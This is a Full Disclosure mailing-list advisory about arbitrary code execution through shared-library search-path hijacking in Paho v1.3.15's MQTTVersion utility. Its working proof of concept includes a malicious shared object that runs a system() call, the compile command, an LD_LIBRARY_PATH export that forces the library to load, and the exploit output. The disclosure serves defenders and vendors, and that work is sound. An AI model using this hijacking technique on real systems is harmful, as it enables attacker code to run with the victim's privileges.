[FD] Paho v1.3.15 Arbitrary Code Execution via Shared Library Search Path Hijacking

[Ron E <ronaldjedgerson@xxxxxxxxx>]

*Description:*
Arbitrary code execution is possible in the MQTTVersion utility due to
uncontrolled loading of shared libraries using non-absolute paths. The
application invokes dlopen() with relative library names and relies on the
dynamic loader’s search path to resolve the target library. Because the
library origin is not restricted to trusted directories and no integrity or
authenticity checks are performed, an attacker can cause a malicious shared
object to be loaded and executed.This vulnerability occurs when the process
inherits a user-controlled library search path, such as through the
LD_LIBRARY_PATH environment variable. Under these conditions, an
attacker-supplied shared object with a matching library name will be loaded
instead of the legitimate library.

*Impact:*
An attacker can execute arbitrary code in the context of the user running
the MQTTVersion utility. If the utility is executed with elevated
privileges or within automated environments (e.g., CI/CD pipelines,
packaging systems, or administrative scripts), this vulnerability may
result in full system compromise.

*Affected Code:*
void* APILibrary = dlopen("libpaho-mqtt3c.so.1", RTLD_LAZY);

*Attack Scenario:*

   1. An attacker places a malicious shared object named libpaho-mqtt3c.so.1
   in a directory they control.
   2. The attacker modifies the runtime environment to include this
   directory in the loader search path.
   3. When the utility is executed, the malicious library is loaded and
   attacker-controlled code executes.

*Proof of Concept (PoC):*

*Malicious Shared Object:*
// evil.c
#include <stdlib.h>

typedef struct {
    const char* name;
    const char* value;
} MQTTAsync_nameValue;

MQTTAsync_nameValue* MQTTAsync_getVersionInfo(void) {
    system("echo RCE_FROM_SO");
    static MQTTAsync_nameValue v[] = {
        {"PWNED", "Function pointer executed"},
        {NULL, NULL}
    };
    return v;
}

*Compile the malicious library:*
clang -shared -fPIC evil.c -o libpaho-mqtt3c.so.1

*Exploitation:*
export LD_LIBRARY_PATH=$PWD
./MQTTVersion

*Output:*
MQTTVersion: print the version strings of an MQTT client library
Copyright (c) 2012, 2018 IBM Corp.
Specify a particular library name if it is not in the current directory, or
not executable on this platform
--- Trying library paho-mqtt3c ---
RCE_FROM_SO
PWNED: Function pointer executed
--- Trying library paho-mqtt3cs ---
Error loading library libpaho-mqtt3cs.so.1, error libpaho-mqtt3cs.so.1:
cannot open shared object file: No such file or directory
--- Trying library paho-mqtt3a ---
Error loading library libpaho-mqtt3a.so.1, error libpaho-mqtt3a.so.1:
cannot open shared object file: No such file or directory
--- Trying library paho-mqtt3as ---
Error loading library libpaho-mqtt3as.so.1, error libpaho-mqtt3as.so.1:
cannot open shared object file: No such file or directory

Ron Edgerson
Vulnerability Researcher & Exploit Developer

CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development

🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/